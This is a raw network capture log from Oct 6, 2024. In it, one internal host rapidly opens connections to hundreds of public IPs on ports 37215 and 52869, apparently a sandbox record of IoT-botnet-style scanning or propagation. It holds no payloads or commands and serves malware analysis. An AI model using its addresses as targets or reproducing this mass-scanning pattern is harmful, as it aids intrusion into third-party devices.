Oct 6, 2024 20:00:48.719858885 CEST	49416	37215	192.168.2.15	41.228.221.35
Oct 6, 2024 20:00:48.719863892 CEST	49416	37215	192.168.2.15	197.137.112.31
Oct 6, 2024 20:00:48.719866991 CEST	49416	37215	192.168.2.15	41.56.40.2
Oct 6, 2024 20:00:48.719867945 CEST	49416	37215	192.168.2.15	41.46.160.24
Oct 6, 2024 20:00:48.719871044 CEST	49416	37215	192.168.2.15	41.229.255.20
Oct 6, 2024 20:00:48.719871998 CEST	49416	37215	192.168.2.15	197.125.40.143
Oct 6, 2024 20:00:48.719887018 CEST	49416	37215	192.168.2.15	156.184.226.165
Oct 6, 2024 20:00:48.719887018 CEST	49416	37215	192.168.2.15	197.209.105.113
Oct 6, 2024 20:00:48.719892025 CEST	49416	37215	192.168.2.15	156.95.90.213
Oct 6, 2024 20:00:48.719892025 CEST	49416	37215	192.168.2.15	197.216.78.236
Oct 6, 2024 20:00:48.719892025 CEST	49416	37215	192.168.2.15	197.182.101.124
Oct 6, 2024 20:00:48.719892025 CEST	49416	37215	192.168.2.15	156.120.172.140
Oct 6, 2024 20:00:48.719893932 CEST	49416	37215	192.168.2.15	197.175.7.126
Oct 6, 2024 20:00:48.719893932 CEST	49416	37215	192.168.2.15	197.52.123.110
Oct 6, 2024 20:00:48.719903946 CEST	49416	37215	192.168.2.15	197.7.66.104
Oct 6, 2024 20:00:48.719913006 CEST	49416	37215	192.168.2.15	41.35.110.183
Oct 6, 2024 20:00:48.719913006 CEST	49416	37215	192.168.2.15	41.54.241.175
Oct 6, 2024 20:00:48.719913006 CEST	49416	37215	192.168.2.15	156.93.218.88
Oct 6, 2024 20:00:48.719918013 CEST	49416	37215	192.168.2.15	41.140.149.158
Oct 6, 2024 20:00:48.719921112 CEST	49416	37215	192.168.2.15	197.36.204.50
Oct 6, 2024 20:00:48.719923019 CEST	49416	37215	192.168.2.15	197.254.52.38
Oct 6, 2024 20:00:48.719928026 CEST	49416	37215	192.168.2.15	197.26.74.131
Oct 6, 2024 20:00:48.719934940 CEST	49416	37215	192.168.2.15	197.181.47.129
Oct 6, 2024 20:00:48.719940901 CEST	49416	37215	192.168.2.15	197.17.199.232
Oct 6, 2024 20:00:48.719947100 CEST	49416	37215	192.168.2.15	197.105.220.61
Oct 6, 2024 20:00:48.719950914 CEST	49416	37215	192.168.2.15	197.47.214.42
Oct 6, 2024 20:00:48.719958067 CEST	49416	37215	192.168.2.15	197.157.67.40
Oct 6, 2024 20:00:48.719958067 CEST	49416	37215	192.168.2.15	41.121.206.57
Oct 6, 2024 20:00:48.719964027 CEST	49416	37215	192.168.2.15	197.28.210.212
Oct 6, 2024 20:00:48.719969034 CEST	49416	37215	192.168.2.15	197.124.209.210
Oct 6, 2024 20:00:48.719981909 CEST	49416	37215	192.168.2.15	197.116.113.6
Oct 6, 2024 20:00:48.719985962 CEST	49416	37215	192.168.2.15	156.70.183.0
Oct 6, 2024 20:00:48.719993114 CEST	49416	37215	192.168.2.15	41.206.6.240
Oct 6, 2024 20:00:48.719995022 CEST	49416	37215	192.168.2.15	197.235.71.254
Oct 6, 2024 20:00:48.720005989 CEST	49416	37215	192.168.2.15	156.201.69.175
Oct 6, 2024 20:00:48.720009089 CEST	49416	37215	192.168.2.15	197.211.39.210
Oct 6, 2024 20:00:48.720010042 CEST	49416	37215	192.168.2.15	197.137.1.131
Oct 6, 2024 20:00:48.720010042 CEST	49416	37215	192.168.2.15	156.186.251.43
Oct 6, 2024 20:00:48.720010996 CEST	49416	37215	192.168.2.15	41.57.161.227
Oct 6, 2024 20:00:48.720010996 CEST	49416	37215	192.168.2.15	156.160.116.227
Oct 6, 2024 20:00:48.720015049 CEST	49416	37215	192.168.2.15	156.116.10.98
Oct 6, 2024 20:00:48.720016956 CEST	49416	37215	192.168.2.15	41.2.93.157
Oct 6, 2024 20:00:48.720017910 CEST	49416	37215	192.168.2.15	156.5.241.151
Oct 6, 2024 20:00:48.720017910 CEST	49416	37215	192.168.2.15	156.102.253.225
Oct 6, 2024 20:00:48.720024109 CEST	49416	37215	192.168.2.15	41.248.159.11
Oct 6, 2024 20:00:48.720026970 CEST	49416	37215	192.168.2.15	197.168.8.253
Oct 6, 2024 20:00:48.720029116 CEST	49416	37215	192.168.2.15	41.236.165.83
Oct 6, 2024 20:00:48.720042944 CEST	49416	37215	192.168.2.15	197.25.70.147
Oct 6, 2024 20:00:48.720047951 CEST	49416	37215	192.168.2.15	41.154.116.3
Oct 6, 2024 20:00:48.720050097 CEST	49416	37215	192.168.2.15	197.43.24.176
Oct 6, 2024 20:00:48.720055103 CEST	49416	37215	192.168.2.15	197.139.213.234
Oct 6, 2024 20:00:48.720057011 CEST	49416	37215	192.168.2.15	41.55.100.237
Oct 6, 2024 20:00:48.720071077 CEST	49416	37215	192.168.2.15	41.201.216.183
Oct 6, 2024 20:00:48.720072985 CEST	49416	37215	192.168.2.15	156.52.19.7
Oct 6, 2024 20:00:48.720076084 CEST	49416	37215	192.168.2.15	41.228.7.233
Oct 6, 2024 20:00:48.720076084 CEST	49416	37215	192.168.2.15	197.132.210.70
Oct 6, 2024 20:00:48.720077991 CEST	49416	37215	192.168.2.15	197.11.133.4
Oct 6, 2024 20:00:48.720078945 CEST	49416	37215	192.168.2.15	197.27.118.58
Oct 6, 2024 20:00:48.720082045 CEST	49416	37215	192.168.2.15	197.104.28.58
Oct 6, 2024 20:00:48.720082045 CEST	49416	37215	192.168.2.15	156.26.200.197
Oct 6, 2024 20:00:48.720082045 CEST	49416	37215	192.168.2.15	41.110.111.169
Oct 6, 2024 20:00:48.720084906 CEST	49416	37215	192.168.2.15	197.81.61.114
Oct 6, 2024 20:00:48.720084906 CEST	49416	37215	192.168.2.15	156.69.52.53
Oct 6, 2024 20:00:48.720104933 CEST	49416	37215	192.168.2.15	156.241.184.125
Oct 6, 2024 20:00:48.720108986 CEST	49416	37215	192.168.2.15	197.194.158.93
Oct 6, 2024 20:00:48.720108986 CEST	49416	37215	192.168.2.15	197.61.109.137
Oct 6, 2024 20:00:48.720110893 CEST	49416	37215	192.168.2.15	41.73.175.204
Oct 6, 2024 20:00:48.720113993 CEST	49416	37215	192.168.2.15	197.109.151.236
Oct 6, 2024 20:00:48.720113993 CEST	49416	37215	192.168.2.15	41.125.18.43
Oct 6, 2024 20:00:48.720113993 CEST	49416	37215	192.168.2.15	197.139.75.82
Oct 6, 2024 20:00:48.720113993 CEST	49416	37215	192.168.2.15	41.66.181.118
Oct 6, 2024 20:00:48.720113993 CEST	49416	37215	192.168.2.15	197.24.37.97
Oct 6, 2024 20:00:48.720115900 CEST	49416	37215	192.168.2.15	41.174.253.46
Oct 6, 2024 20:00:48.720113993 CEST	49416	37215	192.168.2.15	41.58.110.191
Oct 6, 2024 20:00:48.720117092 CEST	49416	37215	192.168.2.15	156.202.85.86
Oct 6, 2024 20:00:48.720122099 CEST	49416	37215	192.168.2.15	197.165.62.2
Oct 6, 2024 20:00:48.720124006 CEST	49416	37215	192.168.2.15	156.105.172.0
Oct 6, 2024 20:00:48.720140934 CEST	49416	37215	192.168.2.15	197.225.24.83
Oct 6, 2024 20:00:48.720140934 CEST	49416	37215	192.168.2.15	41.199.232.248
Oct 6, 2024 20:00:48.720143080 CEST	49416	37215	192.168.2.15	41.132.104.244
Oct 6, 2024 20:00:48.720151901 CEST	49416	37215	192.168.2.15	197.245.77.2
Oct 6, 2024 20:00:48.720154047 CEST	49416	37215	192.168.2.15	197.199.145.69
Oct 6, 2024 20:00:48.720155001 CEST	49416	37215	192.168.2.15	41.133.50.177
Oct 6, 2024 20:00:48.720160007 CEST	49416	37215	192.168.2.15	156.250.115.187
Oct 6, 2024 20:00:48.720164061 CEST	49416	37215	192.168.2.15	156.95.59.40
Oct 6, 2024 20:00:48.720164061 CEST	49416	37215	192.168.2.15	41.155.228.126
Oct 6, 2024 20:00:48.720168114 CEST	49416	37215	192.168.2.15	197.10.174.32
Oct 6, 2024 20:00:48.720168114 CEST	49416	37215	192.168.2.15	156.89.2.68
Oct 6, 2024 20:00:48.720168114 CEST	49416	37215	192.168.2.15	156.183.80.80
Oct 6, 2024 20:00:48.720168114 CEST	49416	37215	192.168.2.15	41.157.186.119
Oct 6, 2024 20:00:48.720181942 CEST	49416	37215	192.168.2.15	41.131.6.234
Oct 6, 2024 20:00:48.720181942 CEST	49416	37215	192.168.2.15	156.133.98.201
Oct 6, 2024 20:00:48.720186949 CEST	49416	37215	192.168.2.15	197.207.147.78
Oct 6, 2024 20:00:48.720187902 CEST	49416	37215	192.168.2.15	41.56.23.44
Oct 6, 2024 20:00:48.720186949 CEST	49416	37215	192.168.2.15	197.218.56.140
Oct 6, 2024 20:00:48.720190048 CEST	49416	37215	192.168.2.15	41.171.10.67
Oct 6, 2024 20:00:48.720190048 CEST	49416	37215	192.168.2.15	197.194.20.154
Oct 6, 2024 20:00:48.720187902 CEST	49416	37215	192.168.2.15	41.14.232.147
Oct 6, 2024 20:00:48.720196009 CEST	49416	37215	192.168.2.15	41.182.180.3
Oct 6, 2024 20:00:48.720196009 CEST	49416	37215	192.168.2.15	156.181.73.156
Oct 6, 2024 20:00:48.720206022 CEST	49416	37215	192.168.2.15	156.54.175.221
Oct 6, 2024 20:00:48.720208883 CEST	49416	37215	192.168.2.15	156.53.59.61
Oct 6, 2024 20:00:48.720211029 CEST	49416	37215	192.168.2.15	156.111.4.159
Oct 6, 2024 20:00:48.720218897 CEST	49416	37215	192.168.2.15	197.228.46.193
Oct 6, 2024 20:00:48.720360994 CEST	53382	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:48.720381975 CEST	53382	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:48.720448971 CEST	45080	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:48.720462084 CEST	49160	52869	192.168.2.15	41.68.43.43
Oct 6, 2024 20:00:48.720467091 CEST	49160	52869	192.168.2.15	156.58.9.216
Oct 6, 2024 20:00:48.720468998 CEST	49160	52869	192.168.2.15	156.29.254.157
Oct 6, 2024 20:00:48.720474005 CEST	49160	52869	192.168.2.15	197.140.245.235
Oct 6, 2024 20:00:48.720479965 CEST	49160	52869	192.168.2.15	156.144.191.107
Oct 6, 2024 20:00:48.720485926 CEST	49160	52869	192.168.2.15	197.145.129.120
Oct 6, 2024 20:00:48.720496893 CEST	49160	52869	192.168.2.15	197.128.134.130
Oct 6, 2024 20:00:48.720496893 CEST	49160	52869	192.168.2.15	156.139.98.148
Oct 6, 2024 20:00:48.720499992 CEST	49160	52869	192.168.2.15	156.41.104.31
Oct 6, 2024 20:00:48.720499992 CEST	49160	52869	192.168.2.15	156.244.233.207
Oct 6, 2024 20:00:48.720503092 CEST	49160	52869	192.168.2.15	156.247.18.169
Oct 6, 2024 20:00:48.720504999 CEST	49160	52869	192.168.2.15	41.189.121.85
Oct 6, 2024 20:00:48.720504999 CEST	49160	52869	192.168.2.15	156.108.90.221
Oct 6, 2024 20:00:48.720506907 CEST	49160	52869	192.168.2.15	41.124.34.73
Oct 6, 2024 20:00:48.720510006 CEST	49160	52869	192.168.2.15	156.88.234.63
Oct 6, 2024 20:00:48.720513105 CEST	49160	52869	192.168.2.15	197.186.123.85
Oct 6, 2024 20:00:48.720515966 CEST	49160	52869	192.168.2.15	197.174.92.225
Oct 6, 2024 20:00:48.720515966 CEST	49160	52869	192.168.2.15	41.167.213.97
Oct 6, 2024 20:00:48.720525980 CEST	49160	52869	192.168.2.15	41.87.222.188
Oct 6, 2024 20:00:48.720529079 CEST	49160	52869	192.168.2.15	156.136.17.220
Oct 6, 2024 20:00:48.720529079 CEST	49160	52869	192.168.2.15	41.104.187.245
Oct 6, 2024 20:00:48.720529079 CEST	49160	52869	192.168.2.15	197.150.223.101
Oct 6, 2024 20:00:48.720535994 CEST	49160	52869	192.168.2.15	156.43.241.232
Oct 6, 2024 20:00:48.720536947 CEST	49160	52869	192.168.2.15	156.136.140.211
Oct 6, 2024 20:00:48.720544100 CEST	49160	52869	192.168.2.15	197.103.19.151
Oct 6, 2024 20:00:48.720544100 CEST	49160	52869	192.168.2.15	156.74.185.216
Oct 6, 2024 20:00:48.720546961 CEST	49160	52869	192.168.2.15	197.94.239.232
Oct 6, 2024 20:00:48.720552921 CEST	49160	52869	192.168.2.15	156.199.148.184
Oct 6, 2024 20:00:48.720555067 CEST	49160	52869	192.168.2.15	156.3.209.130
Oct 6, 2024 20:00:48.720557928 CEST	49160	52869	192.168.2.15	197.22.186.162
Oct 6, 2024 20:00:48.720566988 CEST	49160	52869	192.168.2.15	197.156.217.121
Oct 6, 2024 20:00:48.720571995 CEST	49160	52869	192.168.2.15	41.65.75.61
Oct 6, 2024 20:00:48.720571995 CEST	49160	52869	192.168.2.15	197.92.107.202
Oct 6, 2024 20:00:48.720585108 CEST	49160	52869	192.168.2.15	41.215.203.77
Oct 6, 2024 20:00:48.720592022 CEST	49160	52869	192.168.2.15	197.22.33.93
Oct 6, 2024 20:00:48.720597029 CEST	49160	52869	192.168.2.15	197.148.122.78
Oct 6, 2024 20:00:48.720597029 CEST	49160	52869	192.168.2.15	156.220.159.247
Oct 6, 2024 20:00:48.720599890 CEST	49160	52869	192.168.2.15	41.170.83.36
Oct 6, 2024 20:00:48.720599890 CEST	49160	52869	192.168.2.15	156.92.51.232
Oct 6, 2024 20:00:48.720601082 CEST	49160	52869	192.168.2.15	156.23.173.224
Oct 6, 2024 20:00:48.720602989 CEST	49160	52869	192.168.2.15	41.239.231.170
Oct 6, 2024 20:00:48.720606089 CEST	49160	52869	192.168.2.15	41.212.98.171
Oct 6, 2024 20:00:48.720607996 CEST	49160	52869	192.168.2.15	197.217.219.242
Oct 6, 2024 20:00:48.720609903 CEST	49160	52869	192.168.2.15	156.86.82.211
Oct 6, 2024 20:00:48.720623016 CEST	49160	52869	192.168.2.15	197.162.76.212
Oct 6, 2024 20:00:48.720626116 CEST	49160	52869	192.168.2.15	197.44.175.246
Oct 6, 2024 20:00:48.720629930 CEST	49160	52869	192.168.2.15	41.225.215.108
Oct 6, 2024 20:00:48.720630884 CEST	49160	52869	192.168.2.15	197.221.236.37
Oct 6, 2024 20:00:48.720630884 CEST	49160	52869	192.168.2.15	156.61.214.157
Oct 6, 2024 20:00:48.720632076 CEST	49160	52869	192.168.2.15	156.188.140.231
Oct 6, 2024 20:00:48.720637083 CEST	49160	52869	192.168.2.15	41.218.83.158
Oct 6, 2024 20:00:48.720638990 CEST	49160	52869	192.168.2.15	156.204.48.55
Oct 6, 2024 20:00:48.720645905 CEST	49160	52869	192.168.2.15	197.48.111.233
Oct 6, 2024 20:00:48.720649004 CEST	49160	52869	192.168.2.15	41.112.32.232
Oct 6, 2024 20:00:48.720649958 CEST	49160	52869	192.168.2.15	41.33.61.54
Oct 6, 2024 20:00:48.720668077 CEST	49160	52869	192.168.2.15	41.137.157.135
Oct 6, 2024 20:00:48.720668077 CEST	49160	52869	192.168.2.15	197.236.250.138
Oct 6, 2024 20:00:48.720674038 CEST	49160	52869	192.168.2.15	197.228.150.71
Oct 6, 2024 20:00:48.720674038 CEST	49160	52869	192.168.2.15	41.71.168.67
Oct 6, 2024 20:00:48.720674038 CEST	49160	52869	192.168.2.15	156.250.191.150
Oct 6, 2024 20:00:48.720674038 CEST	49160	52869	192.168.2.15	41.74.66.74
Oct 6, 2024 20:00:48.720674038 CEST	49160	52869	192.168.2.15	156.137.206.119
Oct 6, 2024 20:00:48.720674038 CEST	49160	52869	192.168.2.15	197.232.236.122
Oct 6, 2024 20:00:48.720679998 CEST	49160	52869	192.168.2.15	197.74.247.14
Oct 6, 2024 20:00:48.720679998 CEST	49160	52869	192.168.2.15	41.164.102.35
Oct 6, 2024 20:00:48.720679998 CEST	49160	52869	192.168.2.15	197.102.211.51
Oct 6, 2024 20:00:48.720685959 CEST	49160	52869	192.168.2.15	41.187.249.242
Oct 6, 2024 20:00:48.720685959 CEST	49160	52869	192.168.2.15	197.189.140.79
Oct 6, 2024 20:00:48.720686913 CEST	49160	52869	192.168.2.15	156.51.11.216
Oct 6, 2024 20:00:48.720686913 CEST	49160	52869	192.168.2.15	197.141.66.49
Oct 6, 2024 20:00:48.720686913 CEST	49160	52869	192.168.2.15	197.19.74.181
Oct 6, 2024 20:00:48.720716000 CEST	49160	52869	192.168.2.15	41.233.226.76
Oct 6, 2024 20:00:48.720720053 CEST	49160	52869	192.168.2.15	41.242.143.14
Oct 6, 2024 20:00:48.720726013 CEST	49160	52869	192.168.2.15	156.200.2.101
Oct 6, 2024 20:00:48.720742941 CEST	49160	52869	192.168.2.15	41.244.191.211
Oct 6, 2024 20:00:48.720742941 CEST	49160	52869	192.168.2.15	197.185.166.84
Oct 6, 2024 20:00:48.720745087 CEST	49160	52869	192.168.2.15	197.133.166.128
Oct 6, 2024 20:00:48.720757961 CEST	49160	52869	192.168.2.15	197.219.11.33
Oct 6, 2024 20:00:48.720761061 CEST	49160	52869	192.168.2.15	197.241.188.87
Oct 6, 2024 20:00:48.720761061 CEST	49160	52869	192.168.2.15	197.72.39.248
Oct 6, 2024 20:00:48.720766068 CEST	49160	52869	192.168.2.15	197.62.90.12
Oct 6, 2024 20:00:48.720766068 CEST	49160	52869	192.168.2.15	197.126.210.26
Oct 6, 2024 20:00:48.720767021 CEST	49160	52869	192.168.2.15	197.49.56.18
Oct 6, 2024 20:00:48.720784903 CEST	49160	52869	192.168.2.15	197.216.166.76
Oct 6, 2024 20:00:48.720786095 CEST	49160	52869	192.168.2.15	197.82.107.66
Oct 6, 2024 20:00:48.720797062 CEST	49160	52869	192.168.2.15	197.3.57.61
Oct 6, 2024 20:00:48.720798969 CEST	49160	52869	192.168.2.15	156.39.75.104
Oct 6, 2024 20:00:48.720801115 CEST	49160	52869	192.168.2.15	197.67.89.212
Oct 6, 2024 20:00:48.720802069 CEST	49160	52869	192.168.2.15	41.165.230.203
Oct 6, 2024 20:00:48.720813990 CEST	49160	52869	192.168.2.15	41.126.41.17
Oct 6, 2024 20:00:48.720813990 CEST	49160	52869	192.168.2.15	197.247.45.88
Oct 6, 2024 20:00:48.720822096 CEST	49160	52869	192.168.2.15	156.118.107.60
Oct 6, 2024 20:00:48.720829964 CEST	49160	52869	192.168.2.15	41.171.244.205
Oct 6, 2024 20:00:48.720829964 CEST	49160	52869	192.168.2.15	197.207.234.213
Oct 6, 2024 20:00:48.720832109 CEST	49160	52869	192.168.2.15	41.158.213.224
Oct 6, 2024 20:00:48.720832109 CEST	49160	52869	192.168.2.15	156.40.108.212
Oct 6, 2024 20:00:48.720834970 CEST	49160	52869	192.168.2.15	156.139.5.121
Oct 6, 2024 20:00:48.720838070 CEST	49160	52869	192.168.2.15	156.34.72.57
Oct 6, 2024 20:00:48.720851898 CEST	49160	52869	192.168.2.15	41.180.54.168
Oct 6, 2024 20:00:48.720851898 CEST	49160	52869	192.168.2.15	156.25.127.201
Oct 6, 2024 20:00:48.720861912 CEST	49160	52869	192.168.2.15	197.191.208.163
Oct 6, 2024 20:00:48.720864058 CEST	49160	52869	192.168.2.15	156.84.133.146
Oct 6, 2024 20:00:48.720870018 CEST	49160	52869	192.168.2.15	41.143.168.92
Oct 6, 2024 20:00:48.720870972 CEST	49160	52869	192.168.2.15	41.201.233.151
Oct 6, 2024 20:00:48.720877886 CEST	49160	52869	192.168.2.15	197.251.84.213
Oct 6, 2024 20:00:48.720881939 CEST	49160	52869	192.168.2.15	41.48.40.155
Oct 6, 2024 20:00:48.720885992 CEST	49160	52869	192.168.2.15	197.176.146.118
Oct 6, 2024 20:00:48.720890999 CEST	49160	52869	192.168.2.15	197.130.180.66
Oct 6, 2024 20:00:48.720904112 CEST	49160	52869	192.168.2.15	197.13.112.194
Oct 6, 2024 20:00:48.720904112 CEST	49160	52869	192.168.2.15	41.156.190.224
Oct 6, 2024 20:00:48.720904112 CEST	49160	52869	192.168.2.15	156.28.79.185
Oct 6, 2024 20:00:48.720905066 CEST	49160	52869	192.168.2.15	41.242.13.12
Oct 6, 2024 20:00:48.720907927 CEST	49160	52869	192.168.2.15	197.156.196.131
Oct 6, 2024 20:00:48.720916033 CEST	49160	52869	192.168.2.15	197.122.53.243
Oct 6, 2024 20:00:48.720920086 CEST	49160	52869	192.168.2.15	156.240.133.163
Oct 6, 2024 20:00:48.720920086 CEST	49160	52869	192.168.2.15	197.125.139.15
Oct 6, 2024 20:00:48.720931053 CEST	49160	52869	192.168.2.15	156.167.179.86
Oct 6, 2024 20:00:48.720937014 CEST	49160	52869	192.168.2.15	41.71.50.146
Oct 6, 2024 20:00:48.720937014 CEST	49160	52869	192.168.2.15	156.90.8.134
Oct 6, 2024 20:00:48.720937967 CEST	49160	52869	192.168.2.15	197.245.226.113
Oct 6, 2024 20:00:48.720949888 CEST	49160	52869	192.168.2.15	197.134.69.36
Oct 6, 2024 20:00:48.720949888 CEST	49160	52869	192.168.2.15	41.107.86.44
Oct 6, 2024 20:00:48.720949888 CEST	49160	52869	192.168.2.15	41.68.195.224
Oct 6, 2024 20:00:48.720952988 CEST	49160	52869	192.168.2.15	41.146.197.224
Oct 6, 2024 20:00:48.720953941 CEST	49160	52869	192.168.2.15	197.97.91.31
Oct 6, 2024 20:00:48.720953941 CEST	49160	52869	192.168.2.15	197.17.211.197
Oct 6, 2024 20:00:48.720972061 CEST	49160	52869	192.168.2.15	156.158.166.228
Oct 6, 2024 20:00:48.720973969 CEST	49160	52869	192.168.2.15	197.171.187.186
Oct 6, 2024 20:00:48.720974922 CEST	49160	52869	192.168.2.15	41.71.102.66
Oct 6, 2024 20:00:48.720982075 CEST	49160	52869	192.168.2.15	41.43.39.13
Oct 6, 2024 20:00:48.720985889 CEST	49160	52869	192.168.2.15	197.17.221.46
Oct 6, 2024 20:00:48.720985889 CEST	49160	52869	192.168.2.15	197.198.166.163
Oct 6, 2024 20:00:48.720985889 CEST	49160	52869	192.168.2.15	197.104.159.31
Oct 6, 2024 20:00:48.720989943 CEST	49160	52869	192.168.2.15	156.80.159.85
Oct 6, 2024 20:00:48.721002102 CEST	49160	52869	192.168.2.15	197.58.58.96
Oct 6, 2024 20:00:48.721004009 CEST	49160	52869	192.168.2.15	41.192.250.254
Oct 6, 2024 20:00:48.721008062 CEST	49160	52869	192.168.2.15	41.134.18.221
Oct 6, 2024 20:00:48.721021891 CEST	49160	52869	192.168.2.15	197.230.104.176
Oct 6, 2024 20:00:48.721024990 CEST	49160	52869	192.168.2.15	41.56.177.246
Oct 6, 2024 20:00:48.721030951 CEST	49160	52869	192.168.2.15	156.215.192.200
Oct 6, 2024 20:00:48.721034050 CEST	49160	52869	192.168.2.15	41.225.191.34
Oct 6, 2024 20:00:48.721034050 CEST	49160	52869	192.168.2.15	41.96.126.139
Oct 6, 2024 20:00:48.721040010 CEST	49160	52869	192.168.2.15	156.9.37.152
Oct 6, 2024 20:00:48.721040010 CEST	49160	52869	192.168.2.15	197.69.25.134
Oct 6, 2024 20:00:48.721052885 CEST	49160	52869	192.168.2.15	156.122.31.16
Oct 6, 2024 20:00:48.721052885 CEST	49160	52869	192.168.2.15	156.209.50.20
Oct 6, 2024 20:00:48.721062899 CEST	49160	52869	192.168.2.15	41.219.47.88
Oct 6, 2024 20:00:48.721062899 CEST	49160	52869	192.168.2.15	197.245.93.215
Oct 6, 2024 20:00:48.721065044 CEST	49160	52869	192.168.2.15	41.36.149.230
Oct 6, 2024 20:00:48.721065998 CEST	49160	52869	192.168.2.15	41.221.179.167
Oct 6, 2024 20:00:48.721067905 CEST	49160	52869	192.168.2.15	156.95.210.165
Oct 6, 2024 20:00:48.721067905 CEST	49160	52869	192.168.2.15	41.102.129.88
Oct 6, 2024 20:00:48.721074104 CEST	49160	52869	192.168.2.15	197.64.36.235
Oct 6, 2024 20:00:48.721075058 CEST	49160	52869	192.168.2.15	41.134.157.185
Oct 6, 2024 20:00:48.721076965 CEST	49160	52869	192.168.2.15	156.139.79.228
Oct 6, 2024 20:00:48.721079111 CEST	49160	52869	192.168.2.15	156.158.86.216
Oct 6, 2024 20:00:48.721080065 CEST	49160	52869	192.168.2.15	197.159.107.2
Oct 6, 2024 20:00:48.721080065 CEST	49160	52869	192.168.2.15	156.6.1.18
Oct 6, 2024 20:00:48.721085072 CEST	49160	52869	192.168.2.15	197.204.167.240
Oct 6, 2024 20:00:48.721122026 CEST	49160	52869	192.168.2.15	156.188.86.124
Oct 6, 2024 20:00:48.721600056 CEST	54034	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:48.721831083 CEST	36280	52869	192.168.2.15	197.141.198.16
Oct 6, 2024 20:00:48.722527981 CEST	51026	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:48.722527981 CEST	51026	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:48.723226070 CEST	51678	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:48.723615885 CEST	51502	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:48.723615885 CEST	51502	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:48.723962069 CEST	52154	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:48.724395037 CEST	55586	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:48.724395037 CEST	55586	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:48.724576950 CEST	37215	49416	156.141.35.255	192.168.2.15
Oct 6, 2024 20:00:48.724622011 CEST	49416	37215	192.168.2.15	156.141.35.255
Oct 6, 2024 20:00:48.724745989 CEST	56236	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:48.725172997 CEST	37215	53382	41.245.196.43	192.168.2.15
Oct 6, 2024 20:00:48.725218058 CEST	41450	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:48.725218058 CEST	41450	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:48.725444078 CEST	52869	45080	41.152.8.136	192.168.2.15
Oct 6, 2024 20:00:48.725486994 CEST	45080	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:48.725557089 CEST	42100	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:48.725950003 CEST	37000	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:48.725975037 CEST	37000	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:48.726324081 CEST	37636	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:48.726732016 CEST	50306	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:48.726732016 CEST	50306	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:48.727076054 CEST	50938	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:48.727360010 CEST	37215	51026	41.30.135.209	192.168.2.15
Oct 6, 2024 20:00:48.727526903 CEST	54520	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:48.727526903 CEST	54520	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:48.727768898 CEST	55142	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:48.728266954 CEST	41876	37215	192.168.2.15	156.141.35.255
Oct 6, 2024 20:00:48.728395939 CEST	37215	51502	197.248.150.107	192.168.2.15
Oct 6, 2024 20:00:48.728637934 CEST	35814	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:48.728637934 CEST	35814	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:48.728873014 CEST	36464	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:48.729156971 CEST	37215	55586	156.186.47.194	192.168.2.15
Oct 6, 2024 20:00:48.729163885 CEST	45548	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:48.729185104 CEST	45548	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:48.729397058 CEST	46182	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:48.729676962 CEST	51078	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:48.729691029 CEST	51078	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:48.729932070 CEST	51702	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:48.730027914 CEST	37215	41450	41.196.187.73	192.168.2.15
Oct 6, 2024 20:00:48.730699062 CEST	37215	37000	156.221.220.140	192.168.2.15
Oct 6, 2024 20:00:48.731481075 CEST	37215	50306	197.230.212.179	192.168.2.15
Oct 6, 2024 20:00:48.732348919 CEST	37215	54520	197.100.196.209	192.168.2.15
Oct 6, 2024 20:00:48.732517958 CEST	37215	55142	197.100.196.209	192.168.2.15
Oct 6, 2024 20:00:48.732566118 CEST	55142	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:48.732600927 CEST	55142	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:48.733408928 CEST	37215	35814	197.199.224.132	192.168.2.15
Oct 6, 2024 20:00:48.733922958 CEST	37215	45548	156.252.219.203	192.168.2.15
Oct 6, 2024 20:00:48.734479904 CEST	37215	51078	197.6.85.118	192.168.2.15
Oct 6, 2024 20:00:48.737536907 CEST	37215	55142	197.100.196.209	192.168.2.15
Oct 6, 2024 20:00:48.737668991 CEST	37215	55142	197.100.196.209	192.168.2.15
Oct 6, 2024 20:00:48.737718105 CEST	55142	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:48.746342897 CEST	56180	37215	192.168.2.15	197.91.228.36
Oct 6, 2024 20:00:48.746342897 CEST	52356	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:48.746342897 CEST	33900	37215	192.168.2.15	197.45.3.126
Oct 6, 2024 20:00:48.746346951 CEST	54668	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:48.746342897 CEST	46354	37215	192.168.2.15	41.136.93.105
